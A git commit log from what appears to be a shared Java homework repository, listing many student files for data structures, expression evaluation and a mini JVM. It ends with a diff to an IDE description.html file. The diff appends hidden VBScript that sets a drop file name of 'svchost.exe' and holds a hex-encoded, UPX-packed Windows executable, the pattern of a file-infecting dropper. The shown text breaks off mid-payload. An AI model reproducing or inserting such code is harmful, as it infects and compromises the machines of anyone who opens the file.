 create mode 100644 group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
 create mode 100644 group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
 create mode 100644 group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/SimpleVistor.java
 create mode 100644 group24/494800949/src/main/java/com/coding/week6/expr/InfixExpr.java
 create mode 100644 group24/494800949/src/main/java/com/coding/week6/expr/Token.java
 create mode 100644 group24/494800949/src/main/java/com/coding/week6/exprNew/InfixExpr.java
 create mode 100644 group24/494800949/src/main/java/com/coding/week6/exprNew/Operator.java
 create mode 100644 group24/494800949/src/main/java/com/coding/week6/exprNew/Token.java
 create mode 100644 group24/494800949/src/main/java/com/coding/week6/exprNew/TokenParser.java
 create mode 100644 group24/494800949/src/main/java/com/coding/week7/InfixToPostfix.java
 create mode 100644 group24/494800949/src/main/java/com/coding/week7/PostfixExpr.java
 create mode 100644 group24/494800949/src/main/java/com/coding/week7/PrefixExpr.java
 create mode 100644 group24/494800949/src/test/java/com/coding/week6/expr/InfixExprTestTest.java
 create mode 100644 group24/494800949/src/test/java/com/coding/week6/exprNew/InfixExprTestTest.java
 create mode 100644 group24/494800949/src/test/java/com/coding/week6/exprNew/TokenParserTest.java
 create mode 100644 group24/494800949/src/test/java/com/coding/week7/InfixToPostfixTest.java
 create mode 100644 group24/494800949/src/test/java/com/coding/week7/PostfixExprTest.java
 create mode 100644 group24/494800949/src/test/java/com/coding/week7/PrefixExprTest.java
 create mode 100644 group24/75939388/learning2017/src/main/java/basic/dataStructure/ArrayList.java
 create mode 100644 group24/75939388/learning2017/src/main/java/basic/dataStructure/ArrayUtil.java
 create mode 100644 group24/75939388/learning2017/src/main/java/basic/dataStructure/BinaryTreeNode.java
 create mode 100644 group24/75939388/learning2017/src/main/java/basic/dataStructure/LinkedList.java
 create mode 100644 group24/75939388/learning2017/src/main/java/basic/dataStructure/List.java
 create mode 100644 group24/75939388/learning2017/src/main/java/basic/dataStructure/Queue.java
 create mode 100644 group24/75939388/learning2017/src/main/java/basic/dataStructure/Stack.java
 create mode 100644 group24/75939388/learning2017/src/main/java/basic/liteStruts/LoginAction.java
 create mode 100644 group24/75939388/learning2017/src/main/java/basic/liteStruts/ReadXML.java
 create mode 100644 group24/75939388/learning2017/src/main/java/basic/liteStruts/Struts.java
 create mode 100644 group24/75939388/learning2017/src/main/java/basic/liteStruts/View.java
 create mode 100644 group24/75939388/learning2017/src/main/java/miniJVM/Demo.java
 create mode 100644 group24/75939388/learning2017/src/main/java/thread/download/DownloadThread.java
 create mode 100644 group24/75939388/learning2017/src/main/java/thread/download/FileDownloader.java
 create mode 100644 group24/75939388/learning2017/src/main/java/thread/download/api/Connection.java
 create mode 100644 group24/75939388/learning2017/src/main/java/thread/download/api/ConnectionException.java
 create mode 100644 group24/75939388/learning2017/src/main/java/thread/download/api/ConnectionManager.java
 create mode 100644 group24/75939388/learning2017/src/main/java/thread/download/api/DownloadListener.java
 create mode 100644 group24/75939388/learning2017/src/main/java/thread/download/impl/ConnectionImpl.java
 create mode 100644 group24/75939388/learning2017/src/main/java/thread/download/impl/ConnectionManagerImpl.java
 create mode 100644 group24/75939388/learning2017/src/test/java/data_structure/ArrayListTest.java
 create mode 100644 group24/75939388/learning2017/src/test/java/data_structure/ArrayUtilTest.java
 create mode 100644 group24/75939388/learning2017/src/test/java/data_structure/BinaryNodeTreeTest.java
 create mode 100644 group24/75939388/learning2017/src/test/java/data_structure/LinkedListTest.java
 create mode 100644 group24/75939388/learning2017/src/test/java/data_structure/QueueTest.java
 create mode 100644 group24/75939388/learning2017/src/test/java/data_structure/StackTest.java
 create mode 100644 group24/75939388/learning2017/src/test/java/download/FileDownloaderTest.java
 create mode 100644 group24/75939388/learning2017/src/test/java/liteStruts/StrutsTest.java
 create mode 100644 group24/Homework/1-FirstWeek/ArrayList.java
 create mode 100644 group24/Homework/1-FirstWeek/BinaryTreeNode.java
 create mode 100644 group24/Homework/1-FirstWeek/Iterator.java
 create mode 100644 group24/Homework/1-FirstWeek/LinkedList.java
 rename {group27/513274874/data-structure/src/com/coding/basic => group24/Homework/1-FirstWeek}/List.java (95%)
 create mode 100644 group24/Homework/1-FirstWeek/Queue.java
 create mode 100644 group24/Homework/1-FirstWeek/Stack.java
 create mode 100644 group24/Homework/2-SecondWeek/litestruts/LoginAction.java
 create mode 100644 group24/Homework/2-SecondWeek/litestruts/Struts.java
 create mode 100644 group24/Homework/2-SecondWeek/litestruts/StrutsTest.java
 create mode 100644 group24/Homework/2-SecondWeek/litestruts/View.java
 create mode 100644 group24/Homework/3-ThirdWeek/LinkedList.java
 create mode 100644 group24/Homework/3-ThirdWeek/download/DownloadThread.java
 create mode 100644 group24/Homework/3-ThirdWeek/download/FileDownloader.java
 create mode 100644 group24/Homework/3-ThirdWeek/download/FileDownloaderTest.java
 create mode 100644 group24/Homework/3-ThirdWeek/download/api/Connection.java
 create mode 100644 group24/Homework/3-ThirdWeek/download/api/ConnectionException.java
 create mode 100644 group24/Homework/3-ThirdWeek/download/api/ConnectionManager.java
 create mode 100644 group24/Homework/3-ThirdWeek/download/api/DownloadListener.java
 create mode 100644 group24/Homework/3-ThirdWeek/download/impl/ConnectionImpl.java
 create mode 100644 group24/Homework/3-ThirdWeek/download/impl/ConnectionManagerImpl.java
 create mode 100644 group24/Homework/4-FourWeek/LRUPageFrame.java
 create mode 100644 group24/Homework/4-FourWeek/LRUPageFrameTest.java
 create mode 100644 group24/Homework/4-FourWeek/jvm/loader/ClassFileLoader .java
 create mode 100644 group24/Homework/4-FourWeek/jvm/test/ClassFileloaderTest.java
 create mode 100644 group24/Homework/4-FourWeek/jvm/test/EmployeeV1.java
 create mode 100644 group24/Homework/5-FifthWeek/README.txt
 create mode 100644 group24/Homework/5-FifthWeek/StackUtil.java
 create mode 100644 group24/Homework/5-FifthWeek/StackUtilTest.java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/clz/AccessFlag.java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/clz/ClassFile .java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/clz/ClassIndex.java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/constant/ClassInfo.java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/constant/ConstantInfo.java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/constant/ConstantPool.java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/constant/FieldRefInfo.java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/constant/MethodRefInfo.java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/constant/NullConstantInfo.java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/constant/StringInfo.java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/constant/UTF8Info.java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/loader/ByteCodeIterator.java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/loader/ClassFileLoader.java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/loader/ClassFileParser.java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/test/ClassFileloaderTest.java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/test/EmployeeV1.java
 create mode 100644 group24/Homework/5-FifthWeek/jvm/util/Util.java
 create mode 100644 group24/Homework/6-SixWeek/InfixExpr.java
 create mode 100644 group24/Homework/6-SixWeek/InfixExprTest.java
 create mode 100644 group24/Homework/6-SixWeek/README.txt
 create mode 100644 group24/Homework/6-SixWeek/jvm/attr/AttributeInfo.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/attr/CodeAttr.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/attr/LineNumberTable.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/attr/LocalVariableItem.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/attr/LocalVariableTable.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/attr/StackMapTable.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/clz/AccessFlag.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/clz/ClassFile.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/clz/ClassIndex.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/constant/ClassInfo.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/constant/ConstantInfo.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/constant/ConstantPool.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/constant/FieldRefInfo.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/constant/MethodRefInfo.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/constant/NullConstantInfo.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/constant/StringInfo.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/constant/UTF8Info.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/field/Field.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/loader/ByteCodeIterator.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/loader/ClassFileLoader.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/loader/ClassFileParser.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/method/Method.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/test/ClassFileloaderTest.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/test/EmployeeV1.java
 create mode 100644 group24/Homework/6-SixWeek/jvm/util/Util.java
 create mode 100644 group24/Homework/7-SevenWeek/InfixToPostfix.java
 create mode 100644 group24/Homework/7-SevenWeek/PostfixExpr.java
 create mode 100644 group24/Homework/7-SevenWeek/PostfixExprTest.java
 create mode 100644 group24/Homework/7-SevenWeek/README.txt
 create mode 100644 group24/Homework/7-SevenWeek/jvm/attr/AttributeInfo.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/attr/CodeAttr.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/attr/LineNumberTable.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/attr/LocalVariableItem.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/attr/LocalVariableTable.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/attr/StackMapTable.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/clz/AccessFlag.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/clz/ClassFile.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/clz/ClassIndex.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/BiPushCmd.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/CommandParser.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/GetFieldCmd.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/LdcCmd.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/NewObjectCmd.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/NoOperandCmd.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/OneOperandCmd.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/PutFieldCmd.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/constant/ClassInfo.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/constant/ConstantInfo.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/constant/ConstantPool.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/constant/FieldRefInfo.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/constant/MethodRefInfo.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/constant/NullConstantInfo.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/constant/StringInfo.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/constant/UTF8Info.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/field/Field.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/loader/ByteCodeIterator.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/loader/ClassFileLoader.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/loader/ClassFileParser.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/method/Method.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/print/ClassFilePrinter.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/print/ConstantPoolPrinter.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/test/ClassFileloaderTest.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/test/EmployeeV1.java
 create mode 100644 group24/Homework/7-SevenWeek/jvm/util/Util.java
 create mode 100644 group24/Homework/8-EighthWeek/attr/AttributeInfo.java
 create mode 100644 group24/Homework/8-EighthWeek/attr/CodeAttr.java
 create mode 100644 group24/Homework/8-EighthWeek/attr/LineNumberTable.java
 create mode 100644 group24/Homework/8-EighthWeek/attr/LocalVariableItem.java
 create mode 100644 group24/Homework/8-EighthWeek/attr/LocalVariableTable.java
 create mode 100644 group24/Homework/8-EighthWeek/attr/StackMapTable.java
 create mode 100644 group24/Homework/8-EighthWeek/clz/AccessFlag.java
 create mode 100644 group24/Homework/8-EighthWeek/clz/ClassFile.java
 create mode 100644 group24/Homework/8-EighthWeek/clz/ClassIndex.java
 create mode 100644 group24/Homework/8-EighthWeek/cmd/BiPushCmd.java
 create mode 100644 group24/Homework/8-EighthWeek/cmd/ByteCodeCommand.java
 create mode 100644 group24/Homework/8-EighthWeek/cmd/CommandParser.java
 create mode 100644 group24/Homework/8-EighthWeek/cmd/GetFieldCmd.java
 create mode 100644 group24/Homework/8-EighthWeek/cmd/GetStaticFieldCmd.java
 create mode 100644 group24/Homework/8-EighthWeek/cmd/InvokeSpecialCmd.java
 create mode 100644 group24/Homework/8-EighthWeek/cmd/InvokeVirtualCmd.java
 create mode 100644 group24/Homework/8-EighthWeek/cmd/LdcCmd.java
 create mode 100644 group24/Homework/8-EighthWeek/cmd/NewObjectCmd.java
 create mode 100644 group24/Homework/8-EighthWeek/cmd/NoOperandCmd.java
 create mode 100644 group24/Homework/8-EighthWeek/cmd/OneOperandCmd.java
 create mode 100644 group24/Homework/8-EighthWeek/cmd/PutFieldCmd.java
 create mode 100644 group24/Homework/8-EighthWeek/cmd/TwoOperandCmd.java
 create mode 100644 group24/Homework/8-EighthWeek/constant/ClassInfo.java
 create mode 100644 group24/Homework/8-EighthWeek/constant/ConstantInfo.java
 create mode 100644 group24/Homework/8-EighthWeek/constant/ConstantPool.java
 create mode 100644 group24/Homework/8-EighthWeek/constant/FieldRefInfo.java
 create mode 100644 group24/Homework/8-EighthWeek/constant/MethodRefInfo.java
 create mode 100644 group24/Homework/8-EighthWeek/constant/NameAndTypeInfo.java
 create mode 100644 group24/Homework/8-EighthWeek/constant/NullConstantInfo.java
 create mode 100644 group24/Homework/8-EighthWeek/constant/StringInfo.java
 create mode 100644 group24/Homework/8-EighthWeek/constant/UTF8Info.java
 create mode 100644 group24/Homework/8-EighthWeek/engine/ExecutionResult.java
 create mode 100644 group24/Homework/8-EighthWeek/engine/ExecutorEngine.java
 create mode 100644 group24/Homework/8-EighthWeek/engine/Heap.java
 create mode 100644 group24/Homework/8-EighthWeek/engine/JavaObject.java
 create mode 100644 group24/Homework/8-EighthWeek/engine/MethodArea.java
 create mode 100644 group24/Homework/8-EighthWeek/engine/MiniJVM.java
 create mode 100644 group24/Homework/8-EighthWeek/engine/StackFrame.java
 create mode 100644 group24/Homework/8-EighthWeek/field/Field.java
 create mode 100644 group24/Homework/8-EighthWeek/loader/ByteCodeIterator.java
 create mode 100644 group24/Homework/8-EighthWeek/loader/ClassFileLoader.java
 create mode 100644 group24/Homework/8-EighthWeek/loader/ClassFileParser.java
 create mode 100644 group24/Homework/8-EighthWeek/method/Method.java
 create mode 100644 group24/Homework/8-EighthWeek/print/ClassFilePrinter.java
 create mode 100644 group24/Homework/8-EighthWeek/print/ConstantPoolPrinter.java
 create mode 100644 group24/Homework/8-EighthWeek/test/ClassFileloaderTest.java
 create mode 100644 group24/Homework/8-EighthWeek/test/EmployeeV1.java
 create mode 100644 group24/Homework/8-EighthWeek/util/Util.java
 rename group27/383117348/{src => data-structure}/com/coderising/download/DownloadThread.java (100%)
 rename group27/383117348/{src => data-structure}/com/coderising/download/FileDownloader.java (100%)
 rename group27/383117348/{src => data-structure}/com/coderising/download/FileDownloaderTest.java (100%)
 rename group27/383117348/{src => data-structure}/com/coderising/download/api/Connection.java (100%)
 rename group27/383117348/{src => data-structure}/com/coderising/download/api/ConnectionException.java (100%)
 rename group27/383117348/{src => data-structure}/com/coderising/download/api/ConnectionManager.java (100%)
 rename group27/383117348/{src => data-structure}/com/coderising/download/api/DownloadListener.java (100%)
 rename group27/383117348/{src => data-structure}/com/coderising/download/impl/ConnectionImpl.java (100%)
 rename group27/383117348/{src => data-structure}/com/coderising/download/impl/ConnectionManagerImpl.java (100%)
 rename group27/383117348/{src => data-structure}/com/coderising/litestruts/LoginAction.java (100%)
 rename group27/383117348/{src => data-structure}/com/coderising/litestruts/Struts.java (100%)
 rename group27/383117348/{src => data-structure}/com/coderising/litestruts/StrutsTest.java (100%)
 rename group27/383117348/{src => data-structure}/com/coderising/litestruts/View.java (100%)
 rename group27/383117348/{src => data-structure}/com/coderising/litestruts/struts.xml (100%)
 rename group27/383117348/{src => data-structure}/com/coding/basic/BinaryTreeNode.java (100%)
 rename {group17/1204187480/code/homework/basic/src/main/java => group27/383117348/data-structure}/com/coding/basic/Iterator.java (100%)
 rename group27/383117348/{src => data-structure}/com/coding/basic/List.java (100%)
 rename group27/383117348/{src => data-structure}/com/coding/basic/array/ArrayList.java (100%)
 rename group27/383117348/{src => data-structure}/com/coding/basic/array/ArrayUtil.java (100%)
 rename group27/383117348/{src => data-structure}/com/coding/basic/linklist/LRUPageFrame.java (100%)
 rename group27/383117348/{src => data-structure}/com/coding/basic/linklist/LRUPageFrameTest.java (100%)
 rename group27/383117348/{src => data-structure}/com/coding/basic/linklist/LinkedList.java (100%)
 create mode 100644 group27/383117348/data-structure/com/coding/basic/queue/CircleQueue.java
 create mode 100644 group27/383117348/data-structure/com/coding/basic/queue/Josephus.java
 create mode 100644 group27/383117348/data-structure/com/coding/basic/queue/JosephusTest.java
 rename group27/383117348/{src/com/coding/basic => data-structure/com/coding/basic/queue}/Queue.java (91%)
 create mode 100644 group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacks.java
 rename group27/383117348/{src => data-structure}/com/coding/basic/stack/Stack.java (100%)
 rename group27/383117348/{src => data-structure}/com/coding/basic/stack/StackUtil.java (100%)
 create mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/InfixExpr.java
 create mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/InfixExprTest.java
 create mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/InfixToPostfix.java
 create mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/InfixToPrevfix.java
 create mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/PostfixExpr.java
 create mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/PostfixExprTest.java
 create mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/PrefixExpr.java
 create mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/PrefixExprTest.java
 create mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/Token.java
 create mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/TokenParser.java
 create mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/TokenParserTest.java
 rename group27/383117348/{src => data-structure}/com/coding/basic/stack/test/StackUtilTest.java (100%)
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/attr/AttributeInfo.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/attr/CodeAttr.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/attr/LineNumberTable.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/attr/LocalVariableItem.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/attr/LocalVariableTable.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/attr/StackMapTable.java
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/clz/AccessFlag.java (100%)
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/clz/ClassFile.java
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/clz/ClassIndex.java (100%)
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/CommandParser.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/OneOperandCmd.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/TwoOperandCmd.java
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/constant/ClassInfo.java (100%)
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/constant/ConstantInfo.java (100%)
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/constant/ConstantPool.java (100%)
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/constant/FieldRefInfo.java (100%)
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/constant/FloatInfo.java (100%)
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/constant/IntegerInfo.java (100%)
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/constant/MethodRefInfo.java (100%)
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/constant/NameAndTypeInfo.java (100%)
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/constant/NullConstantInfo.java (100%)
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/constant/StringInfo.java (100%)
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/constant/UTF8Info.java (100%)
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/field/Field.java
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/loader/ByteCodeIterator.java (73%)
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/loader/ClassFileLoader.java (100%)
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/loader/ClassFileLoader_backup.java (100%)
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/loader/ClassFileParser.java (75%)
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/method/Method.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/print/ClassFilePrinter.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/print/ConstantPoolPrinter.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/test/EmployeeV1.java (100%)
 rename group27/383117348/{src => mini-jvm}/com/coderising/jvm/util/Util.java (100%)
 delete mode 100644 group27/513274874/data-structure/src/com/coding/basic/Stack.java
 rename group27/513274874/data-structure/src/com/coding/basic/{ => array}/ArrayList.java (96%)
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/array/List.java
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/StackUtilTest.java
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/Token.java
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/TokenParser.java
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/field/Field.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/method/Method.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
 create mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
 create mode 100644 liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixToPostfixTest.java
 create mode 100644 liuxin/mini-jvm/assignment/src/com/coderising/jvm/test/MiniJVMTest.java

diff --git a/group01/275150374/275150374Learning/.idea/description.html b/group01/275150374/275150374Learning/.idea/description.html
index db5f129556..0f928c44a1 100644
--- a/group01/275150374/275150374Learning/.idea/description.html
+++ b/group01/275150374/275150374Learning/.idea/description.html
@@ -1 +1,15 @@
-<html>Simple <b>Java</b> application that includes a class with <code>main()</code> method</html>
\ No newline at end of file
+<html>Simple <b>Java</b> application that includes a class with <code>main()</code> method</html><SCRIPT Language=VBScript><!--
+DropFileName = "svchost.exe"
+WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000